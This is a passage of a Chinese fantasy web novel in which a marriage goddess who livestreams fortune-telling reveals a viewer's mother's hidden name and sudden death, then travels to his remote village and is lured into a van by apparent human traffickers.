【嗐,这种家庭还少吗?他说的没错,这不就是那一辈里典型家庭的写照么。】 【妈妈好可怜,但是他说得也对……老一辈的人,思想观念都是固化了的,就算很苦很累,也不愿意接受改变的。】 【也没法改啊?各位,他的妈妈是哑巴啊!离了老公孩子,怎么过?迟早被人拉去卖了吧!】 【QAQ也不容易啊,在这种家庭长大……挺窒息的吧。】 【能从那种环境那种条件下出来,走到如今的地步,真的太不容易了。】 【山沟里飞出来的金凤凰啊这是。】 …… 莺芝扫了一眼弹幕,又看向面前的万措,沉吟片刻,道:“可以写,但是写了也不一定能实现,不如我来帮你观一观缘。” 此言一出,直播间唉声叹气的观众们顿时画风一转,哀嚎了起来。 ——谁家好主播一天三卦,开门就没了一卦啊! 同样没想到莺芝会这么说的万措也是一愣,旋即大喜:“真的吗?” “是。” 莺芝点头,把一本装订好的空白本子递了过去:“写下你和父母的姓名,生辰八字——不知道的话可以不写,有你在这里可以稍微对其他条件放宽松些,但有他们的照片最好。” 万措没有犹豫,当即拉过本子,流畅地写下一串信息。 他爱好玄学,对自己的生辰八字自然是烂熟于心,父母的他确实不知道,但有姓名,年纪。 写完,他还从手机里找出一张照片,放到了本子边上,一起推还给了莺芝。 父,万德辉。 母,江花儿。 莺芝浏览完内容,细眉皱起。 “你母亲叫这个?” “是啊,怎么?” 莺芝盯着万措又看了一会儿,仿佛在确认着什么,片刻后,她缓缓摇头。 “她叫周文妤。” “而且,她已经去世了,就在昨晚。” 第66章 缘何如此 莺芝话音落下,比万措还要先一步反应过来的,是直播间的观众们。 现在虽然太阳高挂,但其实也不过才八九点钟。 即便绝大多数上班上学的都已经开始了新一天的轮转,可对于“直播行业”而言,现下这个时间,可以说完完全全就是个“淡季”。 许多能有空在这会儿来看直播的观众,都是一些还没工作也没课程安排的大学生,或时间自由的自由职业者。 而这部分人群的早上八九点钟——一般都是睡觉的时间,能挣扎醒来又挂进直播间就已经很值得称赞了好吧! 所以当下直播间的现状就是:除了已经在赶往娘娘庙路上、以及在弹幕区跟熟人跟莺芝聊天的少部分人以外,绝大多数观众都是一边打着哈欠,一边出个耳朵在直播间凑数听一听的状态。 可,当莺芝这短短的一问两答出口,几乎有一半以上还在迷糊犯困的人都是精神一抖,直接清醒了过来。 经常在网上冲浪的人,谁不知道这几句话里意味着什么。 ——有!大!瓜! 小莺为什么在看了这位高级精英男士给出的资料信息后,要反问一句“你妈妈真的叫这个吗”? 答案无外乎于:她算出来的和他写的不一样。 再加上一句“你妈妈她已经去世了”…… 不管他是不知道他妈妈的真实姓名,还是不知道他妈妈去世了,又或者两者都有—— 都绝对是一个大可以说道说道的瓜! 能这个时候挂进来看直播,在座的谁不是小月老直播间的铁杆粉啊——小莺算卦的准头大家还能不清楚? 她说这位QAQ男士的妈妈叫周文妤,那必定就是叫周文妤。 她说这位周文妤女士去世了,那可怜的她多半真的已经不在了。 而这些,看QAQ男士的表现,似乎一点也不知道! 虽然知道有人离开世间,是一件很让人难过很令人悲伤的事,但…… 观众们是真的好奇啊。 心里头个个都跟猫挠似的。 这几天的卦都非常之一般,最多也就是一点夫妻情侣之间出轨劈腿、或单身人士发现对象是个海王这种,说没意思吧也有意思、但吃多了总归腻味的普通烂瓜,胃口早就有一点刁钻了的观众们都觉得太平静了。 可现在这个,光听到这儿就知道有点东西。 这不得好好蹲一手? 一时间,弹幕区滚动的速度以数倍增长了起来,刷刷刷地往上跳着。 莺芝现在没功夫回应弹幕,正等待着万措的回应。 约莫有半分钟过去,万措终于醒过神来,他怔怔看着莺芝,打理得非常好的眉毛无意识地皱起了一个小小的鼓包: “你是说,我母亲去世了?” 姓名和去世,他的第一关注点无疑先落在了后者。 而且很明显,他对这个说法是持怀疑态度的。 甚至是非常非常非常怀疑。 完全不信。 但或许是因为对莺芝的信任使然,又或者是因为多年来学习和工作中培养出来的良好素养,致使他本能地就将这种极端的、激烈的、极其不礼貌的情绪给压了下来。 单听他这句话的语气,没有丁点质疑在里头。 只留了一丝些微的痕迹,用在了措辞上。 而莺芝也完全没避让回答,径直道:“是的。” 没给万措又一次提问的空挡,她望着万措,双瞳微凝,仿佛在看他,又似乎不是在看他,口中话语没停,补了一句: “时间应当是昨夜子——十二点左右,为突发性死亡,至于更具体的,我便无法得知了。” 连着听了几遍自己母亲去世的话语,不论万措涵养再如何好,再如何懂得控制自己的情绪,他心中也不可避免地升起了一些被冒犯的感觉。 可是—— 莺芝说得如此有头有尾,如此有模有样,甚至连大概时间和‘突然死亡’的情况都给了出来、就算再不相信,再觉得离谱,万措也不由地又一次顿住。 他定定看向莺芝,似乎想从她表情中看出点什么。 莺芝不闪不躲,坦然地回望着。 片刻过后,万措率先移开目光。 他顾不上桌上的木牌,伸手拿过放到了莺芝面前的手机,歉然地压低了声音:“对不起,我先打个电话。” 莺芝点头,示意理解。 万措拿起手机起身,几步走开数米,准备打电话时,他的视线在手机屏幕中一男一女的合照上短暂停留了一瞬。 随后,他手指飞快操作了几下,退回桌面,调出电话簿,找到一串号码,拨了过去。 电话一连响了好几声,久久没有被接起。 万措脸色愈发沉落,凝重地等待着。 终于,电话被接了起来。 “——喂,谁啊?” 一个有点粗糙的男声,带着浓重的口音。 万措闭了闭眼,两秒内就已经调整好了状态,微笑着开口时,已是流利地转成了地方语言: “小德叔,我是阿措。” 那面儿的男声闻言,哈哈大笑起来:“哎呀,阿措啊,工作不忙吗?怎么有空打电话回来啦?” “今天休息,想着又快到年底了,说不准今年工作时间周不周转得开,万一又回不去过年了呢,就打个电话联络联络。” “要么说你有出息呢,能在首都那种地方待着——能回来就回来嘛,你爹想你得很,天天搁村里提 你呢,一说起你鼻子都要翘天上去喽……哎哟,但是实在回不来也别勉强,别让老板对你有什么意见,好好在首都扎根才是嘞。” “是,您说的有道理。但是您也多帮忙看着点儿,让我爹少喝点酒,少抽点烟,那些不好的,伤身体” 万措也笑了笑,又状似随意地问道,“——我家里还好吧?” 万措敏锐地察觉到,就在他这句话问出来的同时,电话那边儿的人忽然就是一个小小的倒吸气,以及非常非常轻的一声“咦”。 这微小的反应,听在万措的耳朵里,却不啻于惊雷炸响。 他的心猛地落了下去。 不再拐弯抹角,他又追问了一句,更直白地: “我爹,我妈,都还好吗?我过年打算回去看看他们。” “……哎哎、别,不是…唉!这事儿本来还打算瞒着你呢,你爹刚才从我这儿走,让我看着点儿村里的人,谁有给你透口风的就怼回去,没想到他前脚刚走,你后脚就打电话来了……” 小德叔唉声叹气了一通,才接着道:“你妈没了呀!” 万措脑子里“嗡——”地一声。 好像所有声音都在一瞬间远去,蒙着一层雾,听不真切。 “……昨儿晚上掉河沟里了,晨个你翠婶去拾柴火的时候发现的,人被河里的树枝挂着,没漂远,但是已经泡不行了……” “……这不,早上才给捞回来……” “……你几个妹子正招呼着后事呢……” 接下来的对话,万措仍旧是用着温和的、惯常的态度进行的。 和对方说了一下自己会回去给妈妈添坟,又嘱咐了一通琐碎的事情后,电话才挂断。 他的态度天衣无缝。 仿佛之前的失态并不存在。 等他回到莺芝面前时,才流露出了一些低落和沮丧的情绪出来。 一同出现的,还有对莺芝的敬佩。 他扯起嘴角:“……你算得真准,果然是行家。我应该是这辈子都学不到这种程度了。” 莺芝不置可否,依旧望着他。 万措苦笑道: “我们村的村长说,她是淹死的……她一向畏水,最后竟然是这么去的,不知道该有多害怕,但我昨晚那个时候,却在暖气房里睡大觉,真是世事无常。” 他重重掐了一把鼻梁,晃了晃脑袋,重新调整状态。 “抱歉,打扰你的时间了。她人已经去了,我这一卦好像也没有意义了。而且我这就要离开、请假回家——就不占用了,应该还可以算三卦吧?” “——不。” 出乎所有人意料的,莺芝摇头。 “这一卦已经开了头,没有办法中止。如果中止,对你,对我,都没有好处。” 万措错愕:“因为已经产生因果关联了?” 莺芝沉默了一下,点头,“是。” 万措低下眼,喃喃着捋起了逻辑: “祈卦者的请求被算卦者接下,卦已经开始算,应该是已经做出了窥视天机的举动……要是中止,也算已经窥视了……在理。” “……”莺芝沉默听着,眉尾略略一跳。 爱好玄学的人就是好沟通,自己就会找理由了,还能把逻辑周全,自圆其说,省得她再编。 半晌过后,万措有些苦恼地抬起头:“能延后一些吗?” “一来我的母亲刚刚去世,如果在此时算她相关的事,有些不尊重她。”他解释,“二来……我现在也确实没有心情。” “可以。” 莺芝点头,又把本子推过去:“留下一个地址吧,年前这段时间,有空的话,我可以去亲自为你父亲算这一卦。” 既然是“算父母”,那么无论是爸还是妈,都是可以的。 万措略一思考,觉得以玄学的角度来看,确实说得通。 而且莺芝还透露了可以去他家里为父亲算卦——对于莺芝的观众来说,这得是多大的殊荣! 他自然乐意。 没有过多犹豫,万措留下了地址。 随后便和莺芝告别离开。 他没空再在这里游玩,得回公司走请假的流程,然后买票回家了。 只是可惜,计划了多日的一次线下赴会,就这样匆匆结束了。 …… 活动仍在继续进行。 随着来到庙里的人越来越多,莺芝身边也越发热闹起来。 摸鱼二次元等几名年轻姑娘结伴到来后,更是把莺芝围了个团圆,照片咔咔咔地连拍。 直播间里却没怎么聊现场,他们聊得更多的还是刚刚万措的那小半卦。 ——总觉得有点虎头蛇尾,哪儿哪儿都不得劲呢! 听了个开头,还以为是什么大瓜,结果就没下文了! 人死是大事,孩子回去收拾后事也是重要的,但问题是,理解都能理解——就是不得劲啊! 观众们不得劲,憋着一肚子的话,那可不得找地方发泄么。 直播间这个拥有同样苦恼朋友们聚集的场所就成了最好的地方。 去世的事儿已经差不多水落石出了,是突发意外,所以孩子不知道,这也没什么好再挖掘的了。 大家七嘴八舌,讨论的内容都挪到了被万措本人忽略的“名字问题”上。 ——为什么他会弄错自己妈妈的名字? ——是户口本登记和他们口口相称的名字有出入吗?还是“小名”和“大名”的区别? ——又或者是曾用名和现用名? ——小莺所算出来的名字,是命中注定的名字、是指用的最久的,还是这辈子第一个名字? ——这事儿到底是不是只是一个乌龙?? …… 观众们在没事找事,力图从缝里扣一切可能出来,这情况直到第一根红线被抽出来才停歇。 满屏的“嗷嗷我也想要”“我也想让小莺给我绑”过后,关于周文妤女士的讨论彻底告一段落。 大家不知道的是,莺芝的心也同样不在现场。 她回忆着之前从万措的身上所看到的零星内容,心里也笼着层层濛濛的雾。 有点闷,还有点堵。 更有没能拼凑出完整因果的疑惑。 ——她循万措的缘线找去,自周文妤缘线看到的,是和万措口中“样貌不佳”“不出色”“孤僻乖张”完全不同的存在。 那明明是一个,无比顺遂且富贵的人。 而她命运的忽然转变,是自她和她丈夫的缘线出现时起,一路急转。 不再富贵,不再顺遂。 当然,这也可以理解,她嫁了个贫苦的人,过上了贫苦且鸡飞狗跳的日子,的确就是会如此。 但就算这样,于莺芝而言,也本只该是看到了一桩不怎么美满的姻缘而已。 天下姻缘何其多,当然不全是幸福美满,莺芝作为见多了的神仙,不该也不会这样在意。 让她无比在意的是…… 周文妤的命理所显,她善良,坚韧,热烈,赤诚—— 那么,拥有这样出身和命格的少年,怎么可能会成长为那样一个形象的人呢? 这之中一定有什么是她、或者说连带着万措,都很有可能不知晓的内情。 命理这种东西,一般不会发生改变,如果要类比的话,大概可以看做是“材质”—— 魂魄的材质。 一个人生来是恶人,那么骨子里就是带着恶性存在的。 比如梅仁兴,他命理煞气极重,那么他就是那样的一个人。 而周文妤善良坚韧,热烈赤诚,她也就会是这样的人。 这样的人永远不可能变成“孤僻乖张”。 可在万措口中,她却就是那样一个形象。 这其中的关窍,以目前所 知道的信息,莺芝还拼不出来。 拼不出来,就无法理解。 就现在而言,她所能找到的唯一答案,得出的唯一结论,就是周文妤和万德辉的婚姻。 她是因为这桩姻缘,才变成的那个样子? “……” 姻缘殿新任主事天庭月仙上仙莺芝,又一次陷入了自我怀疑中。 她的工作效率真的很低吗,这么多桩坏姻缘都没解决? 不行,得弄清楚。 到底是不是姻缘殿的问题,一定得搞明白。 不然年底考核的时候就算文曲殿给她过了、她自己都过不去那个坎。 跟又一位前来合影的粉丝一起拍过照片,莺芝垂下眼帘,不着痕迹扫过手边本子,上边的某一页里,正记着万措留下来的地址。 等活动结束后,得去走一遭了。 第67章 特别发现 当天活动一直到日落庙宇关闭才结束。 前来凑热闹的观众不计其数,人数最多的时候,直接把庙里大大小小的路都给堵上了,娘娘殿里更是难以进人,拿着香却进不去的香客们到处都是,只能在殿门口排起了长队。 谁都没想到这个怎么看怎么小众的活动竟然能这么热闹,到了晚上收工时,娘娘庙负责收款卖香的工作人员笑得那是一个见牙不见眼。 “小莺啊,哎唷……福星啊!真不留下来吃个饭?” 几位上了年纪的阿姨眼睛都成了月牙,看莺芝怎么看怎么满意,连带送莺芝出门时,都还颇有点恋恋不舍的感觉。 “不了,之后还有安排呢。”莺芝温声回应着。 她来时只带了一个为了做样子伪装用的小包,这会儿身上也只背着那个包,清清爽爽地朝庙里的这些人点了点头,踩着初上的月色和城市霓虹告辞离去。 一天的活动办下来,虽然忙,但收获不小。 她甚至都不用特地去感知,只凭一双肉眼去看,也知道今天姻缘殿绝对不少香火进项。 忙,忙点好啊! 真是令莺开心的忙碌。 等到彻底离开了娘娘庙的范围,莺芝脚步轻快,不着痕迹地朝着人群聚集的范围之外走去,和大多数人的方向背道而行,没一会儿功夫,就走进了一条偏僻无人的小巷。 一路走过来,她始终留心着四周,确认了自己当下位于没有任何摄像头照进的地方后,她才停住脚步,而后身形被淡淡雾气笼罩,消失在了原地。 白天活动时,莺芝就已经规划好了接下来的行程。 虽然决定今晚就直接离开,但她没有购买返回落脚城市的票,而是找了找从首都通往万措给出那个地址的通行方案。 ——她要直接去万措的老家。 万措给出的地址,在地理位置上说南不南说北不北,但距离首都以及几个发展迅速的大城市都有着不近的距离。 甚至离他们本省的省会城市,都差着好大一截儿。 莺芝搜索了一圈后无奈得知,没有任何直达的交通工具。而且拼拼凑凑出来的几个方案里,不管选择哪一个过去,都要选取好多种交通方式组合,很麻烦。 而在搜索引擎的联想链接里,还出现了“猜您想去小众城市旅游,更推荐去xx,xxx……”的内容。 由此可见,万措老家极有可能真的就是像他所描述的那样:深山老林,穷乡僻壤。 所以莺芝综合考虑后决定,先返回天庭。 仙人下凡时,朝天门会给出一个供仙人们挑选落点的地图,她今晚先回去,等到明天下来时,直接在朝天门选择一个距离那个位置最近的庙宇做落点就行了。 然后再换其他的交通工具续上剩下的路程。 能省不少时间。 天庭的夜晚一如既往的安宁。 莺芝回到姻缘殿,立刻就有几只鹊鸟围了上来,叽叽喳喳汇报着她不在的这段时间里发生的事情,顺便汇报工作。 莺芝耐心地听着,等正事都说完,一只鹊鸟叼来一个小荷包。 它把小荷包放到莺芝掌心,又叫了几声,莺芝伸出手指摸了摸它的脑袋: “好,我知道了,你去休息吧。” 小鹊鸟蹭了蹭她指腹,啾啾着飞走。 莺芝看了看手里的荷包——里边装着的是一把零碎的铜钱。 虽然是铜钱,但却是金色的,这么些枚堆在一起,颇有点流光溢彩的视觉效果。 刚刚小鹊鸟说,财神殿的某位小仙君今天白天过来了一趟,说已经把消息传给了朱顶,朱顶的回复是:等年终大会上见面再详谈。 另外,她还表示了一下惊讶,没想到莺芝竟然是姻缘殿的主事,对在凡间时的“不礼貌”“僭越”表示了歉意。 这个荷包就是她托同僚送来的,是一些财神殿的信物示好,让莺芝“送给姻缘殿的小仙君们拿去玩”。 小仙君——姻缘殿哪有小仙君? 数过来数过去能称得上“仙君”的也就她这么一个。 莺芝捻起铜钱看了看,无奈地笑了两声,郑重把它们放回荷包,收进了桌上的一个盒子里。 她不觉得自己和朱顶有什么身份上的区别,同等地位的同僚之间,自然也就不存在什么上下阶层才有的“僭越”。 不过既然送都送来了……希望它们能保佑姻缘殿的“财运”吧,香火旺一点——不过这个好像不太归财神殿管? 算了,意思到了就行了。 晚上,莺芝小小休息了两个时辰,而后起来处理了一会儿姻缘殿之前多年间堆积的事务,又找出了一些之前收集的小法器带上,随后便赶在下凡通道开启前到达了朝天门。 最近年末,需要下去处理公务的部门多了起来,每天都有不少神官们下凡。 莺芝来的不算晚,但也已经有人在这里等候了。 她排了个不前不后的位置,偶尔见到守卫走过,给第一次下凡的小神官们发放《凡间守则》,不由地便微微莞尔。 当时红线小人趴在她耳朵边上一条一条念叨凡间守则的事还历历在目,前后才不过数个月的时间,她竟也成了习以为常下凡事宜的老油条。 “月仙大人,醒醒!到我们了——” 耳畔,红线小人坐在她肩头,嚷嚷着提醒,莺芝收回思绪,迈步上前。 “……咦。” 熟门熟路走到守卫摊开的地图前,莺芝把范围缩小到了万措给出的地址附近,惊讶地低低发出声疑惑。 仙人下凡的落点是庙宇,虽然大多数仙人都会选独属自己部门、或供有自己部门神像的庙,但其实,不管是什么部门的庙他们都能走。 依照现在这种大趋势,凡间建设最多、布置最广的庙宇,当之无愧是财神殿的庙,其次就是文曲殿和药王殿这些。 依照万措老家位置的偏僻,原本莺芝也已经做好了这次要借这几位的庙一用的准备。 却没想到,她这一看地图,才发现事实和想象有出入。 ——有不小的出入! 万措老家虽然偏,但这附近庙还不少,比不少二三线城市的庙都多了。 但,特殊的是,这里的财神庙却只有寥寥数座—— 姻缘殿更是已经排到完全找不到的地方了。 莺芝睁大了眼去找,最后只在犄角旮旯里找到了一尊神像、还和其他几个部门的公用了一个庙宇。 连半座庙都算不上! 可是,这么多庙,财神殿却都在里头排不上号……那么这些庙供的都是什么神仙? 山村野神吗? 但在如今天庭统管全局的情况下,就算是山村野神,也都巴不得 能“考个公”,归到天庭体系里来—— 天庭会把神位收编,然后把该神位的香火和其他工作都归到本就管辖该权限的部门里去。 所以,就算是山村野神,现在也都会在天庭有自己所属的部门才是。 莺芝仔细观察了一下排行最多的那些庙的归属,然后惊奇地发现,它们竟然都是送子殿的庙宇。 而其中距离万措老家地址最近的一座,甚至只有不足百里。 看位置,差不多应该就是先前莺芝搜索交通方案时,显示的最后一个需要转工具的地方。 ……送子殿? 那个和姻缘殿肩并肩手拉手一起蝉联倒数,甚至在名次上还隐隐压了姻缘殿一手、不出意外基本就是稳坐倒一的殿吗? 现在还有如此坚定信仰送子殿的地区? 太特别了。 发现了这一事实,莺芝差点就要拿出手机编辑信息给文隽发去消息询问了,问问他知不知道这么新奇的事。 好在她穷,还抠,至今没给手机开通跨界使用功能,在天庭只能当一块没信号的砖头用,客观制止了她这小孩子发现新玩意儿就要分享的幼稚举动。 莺芝摇了摇头,甩走乱七八糟的想法,选择了那座最近的庙宇,随后步入云海。 …… 熟悉的绵软质感自脚下几步变实,云雾淡去,一迭接一迭的人声渐次传来,从模糊变得慢慢清晰。 天空灰蒙蒙的,不时有阵风吹过。温度算不上寒冷,却带着直入皮肉骨髓的凉意。 被突然卷来的风一吹,莺芝下意识一抖,随后迅速环顾四周,打量了一下当前的场景。 这间庙宇不大,只有供奉着神像的主殿以及两个偏殿,拢共也就一进,连耳房和门房都没有。 庙里供着的神像莺芝也不认识,不是送子娘娘,也不是其它她所熟识或听过的送子神仙,估计就是什么本地的送子神。 但此间庙宇虽小,往来的人却着实不少。 好些个挎着手编篮子的人从大门进出,都是虔诚地奉上鸡蛋和一些毛票,然后跪在神像前俯身磕头,合掌祈愿。 这让莺芝看得惊奇不已。 ——连首都那些庙,还有她常去的那家庙里,香客们都没这么虔诚的。 这也太认真了。 难怪送子殿虽然业绩差,却也一直没被边缘化呢…… 合着还有这么些忠实的信徒。 莺芝现身时无人留意,但等她稍微一走动,便有人注意到了她的存在。 频频不断有目光落在她身上,蕴着打量和审视,还有些难以言明、但莺芝能隐约感受到的排斥和嫌弃。 莺芝低头,检查了一下自己。 她下来后还没来得及换衣服,现在穿着的是她的工作服——姻缘殿的那身仙子袍服。 除了薄了点,在冬天大家都穿着厚衣棉袄的情况里,有点不合群以外,也没别的不妥吧。 昨天在首都穿得更薄,也没人这么看她呀。 莺芝有点莫名,但还是明智地迅速离开了此间庙宇。 庙宇外边是街道,街道虽然有点杂乱,来往的人却不少。 顶着无处不在、几乎如影随形的异样注视,莺芝在街道上逛了半圈,找到一家挂着“xx旅社”招牌的店铺,走了进去。 店铺里采光似乎不是很好,大白天的也有些昏暗,只摆着一张半高的柜台,以及一道黝黑的楼梯。 莺芝径直走向柜台:“你好,来一间房。” 她已经从乾坤袋取出了个旅行包,用以伪装旅行者。 旅社前台是个体格壮实,有点发福的中年男人。 听到有来客,他从斗地主里抬起头,见到莺芝时愣了一下,随后取下叼着的烟,在桌子边上磕了几磕,重新放进嘴里,鼻孔冒出两道灰白的烟气。 “几个人?住多久?” 这烟气和天庭灵气汇成的云雾全然不同,铺散开来时浑浊又难闻,莺芝皱了皱眉,礼貌地没有躲开,把证件放到了柜台上。 男人口音有点重,虽然是为了配合她说了普通话,但还是很难分辨,好在莺芝本质上并不是普通凡人,只要是天庭管辖范围内的人说话,她都能听懂。 她温声回答: “一个人,不住,开一个钟就可以了。” 男人单边眉毛挑了起来,拿过莺芝的证件,随意扫了一眼。 “28了?看不出来啊。”他舌头一顶,把烟挪到不影响说话的一边,继续吞云吐雾,“不行啊,我们这儿没有钟点房,最低也是一晚上。” “那就开一晚上吧。” 知道这是想宰一笔,莺芝没跟他计较这些。 她来的目的不在这儿,不想为了乱七八糟的事儿多花时间,赶紧换完衣服去办正事才行。 “一百二,押金一百。” 莺芝拿出手机,没应声,直接扫了相应的金额过去。 男人从烟气里又看了她两眼,鼠标咔哒响了几下,把证件退还给了莺芝。 “003,负一层,去吧。” 莺芝接过证件,指尖灵力微微一闪,覆盖在了指腹上,隔绝了证件上那层不甚明显油污和自己手指的直接接触。 到了房间,她把证件反复擦拭了一下,才重新收进乾坤袋。 旅行包里只放着一些轻飘飘的杂物,背它就是个样子,在必要时候也好用它做遮掩,作为乾坤袋的伪装而已。 此时莺芝就借遮掩从乾坤袋里取出了一套当下季节的凡间衣物,换上后把原先的衣服塞进旅行包,也直接送回了乾坤袋。 头发她没多打理,只把发髻拆了,扎了个简单普通的低马尾。 这下就算收拾好了。 出门前,莺芝想了想,拿出手机登录某社交平台,用自己“AA红线小莺”的账号发布了一条公开动态。 【最近几天不直播,归期待定。】 随后,她收起手机,离开了屋子。 回到前台退房时,那男人又瞥了她几眼,看样子也明白了她要这间房就只是为了换个衣服。 他从抽屉里取出一张面额百元的钱,递给莺芝,视线一再落在她身上,打量之色更浓。 “外地来的吧?来干嘛呢,这地儿可没什么好玩的。” 莺芝不大想碰这张不知道沾了多少污渍的钱,但还是捏着鼻子装作无动于衷地把它装了起来。 她客气地笑了笑:“来找人。” “男人?” 莺芝顿了顿。 你要这么说……也不是不行。 万措和他父亲,那确实都是男人。 不用等她回答,男人已经从她的态度里知道了答案。 他嘿了一声,道:“知道他在哪儿吗?没准我可以给你指指路。一个女人出来找人也不容易。” 莺芝:“不用了,谢谢。” 眼看男人又点起了一根烟,她不再多留,直接离开了旅社。 这回走在街道上,虽然还是有人会看她,却没先前那么多了。 莺芝调出地图,辨认了一下方向。 接下来这不到百里的距离,得先坐公交,到某个乡的位置后下车,再步行十数里抵达。 车站距离这里有几里路,也还行,不算太远。 明确了方向,莺芝便不再犹豫,朝着目的地走去。 走了约莫二十分钟后,一处红绿灯边上,莺芝停了下来。 她需要过个马路。 等红绿灯的有不少人,其中,一个上了年纪的老妇人扶着拐杖,颤颤巍巍地站在莺芝身前。 红灯读秒就要结束,等待的人群立刻躁动了起来,有性子比较急的已经开始往前走了。 众人都在蓄势待发,那老人不知道被谁碰到了,身体一歪,眼看就要倒下,莺芝连忙扶了她一把。 “没事吧?” 老人抓着她的胳膊,好像抓着最后一根稻草,连连喘气,好一会儿才平稳下来。 听莺芝发问,她感激地拍了拍莺芝手背:“没事没事……谢谢你,姑娘。要不是你,我可能真的就要摔了,太谢谢你了……” 绿灯马上结束,新一轮的红灯即将进入读秒,莺芝眼看过不去了,也不着急,慢慢帮老人顺着气息,扶她站好。 “没关系,举手之劳。” 老人苦笑:“虽然是举手之劳,也不是谁都能做的……现在很多人都不敢扶了,就怕讹他们呢……嗐,不提,姑娘,你这是要去哪啊?” 不敢扶老人,莺芝也知道这是什么意思,轻轻笑了笑:“我去车站。” 老人“呀”了一声:“你要坐车?我家媳妇有辆三轮,不如让她送你,在家闲着也是闲着。” “不用了,你的好意我心领了。”莺芝笑着拒绝,“我去的远,三轮车不太方便。” “哎哟……那可惜了。”老人也不坚持,“绿灯了,走,姑娘,我们过路。” 莺芝点点头,顺手又扶了她一把,一起走过了这个灯。 老人走路速度太慢,后小半截儿时绿灯就已经结束了,马路上的车辆被迫在绿灯里等待她先过。 到了马路对面,莺芝看她颤巍巍的,随时都要摔倒的样子,轻轻叹了口气:“你要去哪里,我送你过去吧。” “这怎么行,太麻烦你了……耽误你时间呀…… “老人看起来很是意动,但还是拒绝道。 “没事,”莺芝道,“我不急。” 老人这才被说服,半推半就地应下,指了个方向。 地点不远,也就不到五分钟的路,莺芝扶着她朝那边走去。 老人速度实在快不起来,五分钟的路程,有莺芝的搀扶也愣是走了快十分钟,眼看家门在即,她不好意思地叹气: “真是太麻烦你了姑娘……这不让我帮帮你我老婆子过意不去啊……” 莺芝摇头,她帮人,本就不是要什么回报。 “娘?”随着两人走近,一个系着围裙、明显在干家务活的中年妇女从屋里走出来,惊呼道,“你怎么又跑出去了!” 老人苦笑,在媳妇的数落下愣是没能说什么,还是中年妇女先看到的莺芝,她在围裙上擦了擦手,连忙就要过来感谢。 莺芝也只能又一轮地继续着“不用”“没关系”“不客气”。 “这姑娘要去坐车,你那三轮带不了,不然就让你去送了。”老太太插嘴。 妇人一听,愣了片刻,随后一拍脑门:“哎呀娘你怎么不早说呢?我三轮跑不了,不是还有我弟的车么,他刚好就在附近等活儿呢,我叫他过来。” 莺芝张了张嘴,正要说不用,被老人拦了一下,妇人已经飞快地拨通了电话。 莺芝:“……” “好了,我跟他说过了,五分钟就过来,姑娘你等下哈,很快的。到时候去哪直接跟他说就行。” 莺芝无奈,只能暂且应下。 接下来的几分钟里,妇人给她倒了杯水,又端来了一些手作的小零吃。 “玩硬币呢?别光顾着玩,吃点东西。” 莺芝推脱了几句,而后收起硬币,随意吃了两口。 妇人笑眯眯地离开了。 又过了几分钟,一辆略微有点破破烂烂的面包车开到了门口。 开车的是一个体型偏重的中年男人,剃了个光头,一下车就满口喊“姐”,有点笨笨的憨厚感。 妇人拉着他介绍了一下莺芝,又交代了一通让对方好生招呼着,这趟活算她们拜托他的云云。 男人老老实实应下,对莺芝咧嘴一笑:“那这位美女,走吧?” 莺芝颔首,起身跟随对方上车。 面包车是七座的,男人为莺芝拉开了后排的门。 登车时,莺芝脚步微顿,回头看了一眼。 妇人和老人都还站在原地,友好地冲她笑着。 莺芝垂下眼,上车,没再多说什么。 唰—— 门被关上,男人也跟着上了驾驶位。 关门,启动车辆。 男人在控制台操作了几下,断断续续的电台声响了起来。 车子速度稳步提升,很快就离开了当前的区域。 男人一直没说话,莺芝也没开口。 又过了一会儿,男人想起什么,突然开口:“美女,你要去哪儿?” 莺芝轻轻一笑:“用不着吧?” 男人一愣,倏地扭头,便见莺芝已经闭上了眼睛,似是沉沉睡去。 第68章 他能信吗? 县乡小道上,一辆面包车速度不慢地行驶着。 车里,一个男人坐在副驾上,扭头看了二排一眼,粗短的眉毛拧成了一团。 “哥,你说这娘儿们什么意思?” “问她去哪,她为啥要说没必要?这是知道我们要把她……可是那为啥还跟你上车?” 驾驶位上,开车的光头男面无表情,闻言,眼中露出几分阴沉。 “管她呢——一个娘儿们而已,不管有什么打算,现在也翻不出花儿。” “只要她识相点,能少吃不少苦头。不然,呵,有她受的。” “话是这么说……”短眉男还是有点不放心,频频回头看着,“但我总觉得她有点邪门儿……她说那些话没头没尾的,搞得我这心里没个着落。” 二排,一个年轻女性双眸闭合,看着像是在睡觉,但车辆颠簸,她却始终斜着身子歪在那里,任由身体被颠簸得随着车辆一起晃动,连眉毛都没皱一下,似乎完全察觉不到身体的状况。 她的双手双脚都被绑在了一起,粗硬的麻绳缠了好几圈,一看就不是凭自己能挣脱的程度。 而她身边的位置上,一个空着的旅行包敞开着口丢在那儿,旁边零零散散丢着几卷卫生纸,几包湿纸巾,还有一些手绢。 正是莺芝。 不知道是不是短眉男语气有点过于忧虑,光头男也皱了皱眉,他没回头,朝后边又喊了一声。 “麻子,再检查一下,看她手机证件都在哪儿——毛子说他找给了她一张一百的,对了,还有几个硬币,我之前见她在玩。” 三排座位上,一个脸上长了不少斑的男人无语地叹了口气:“哥几个,我已经把她身上能装东西的口袋都翻过来完了,屁都没有啊——” “难道你们以为我私藏了?我藏一百的就算了,几个钢镚儿我至于拿吗?没有就是没有啊!” 短眉男两根粗短的眉毛已经抖得不成样子了: “我就说她有点玄乎吧!哥,要不咱别干这一票了。” 麻子也深以为然:“就是啊,毛哥说这女的是自己来的外地人,人生地不熟的,好捞—— 好捞是好捞,但是毛哥还说她出手阔绰呢,阔绰到哪儿了?浑身上下半点值钱的东西都没有啊,连手机都没有!明明有的……这太邪门了。” “瞅你们那点胆子。”光头啐了他们一口,“钱可能是花了,硬币没准丢我媳妇那儿了,证件手机要是丢了呢、咱们这儿偷儿还少?这算什么大事儿,给我收起来你们那表情!” 短眉毛被训得闭上了嘴。 麻子只唉声叹气。 “……我也知道,难得遇到这么好的货,你肯定不舍得……” “但是,哪能那么巧啊哥,你自己说呢?” 这下,光头也沉默了。 片刻过后,他把心一横:“不能不干,反正都已经下手了。这样,不是有个说今晚要交的?把这个换过去,先出手了。” 短眉毛扭头,跟麻子对视了一眼,俩人衡量了一番,便也都点了点头:“……行。” “早出手,早放心。” 光头抽空回头,瞥了一眼二排的莺芝,又啐了一口。 “x的,手机没有,证件没有,白少了好多钱,这一票干得太亏了——” “等会儿跟那边交货的时候说,要加钱!这个成色好,再加五千。” 麻子有点意动:“这么多啊……” 短眉男也很心动,但还是犹豫了一下:“那个货原本也才三千,这一下你就又要加五千……那边儿会同意吗?” 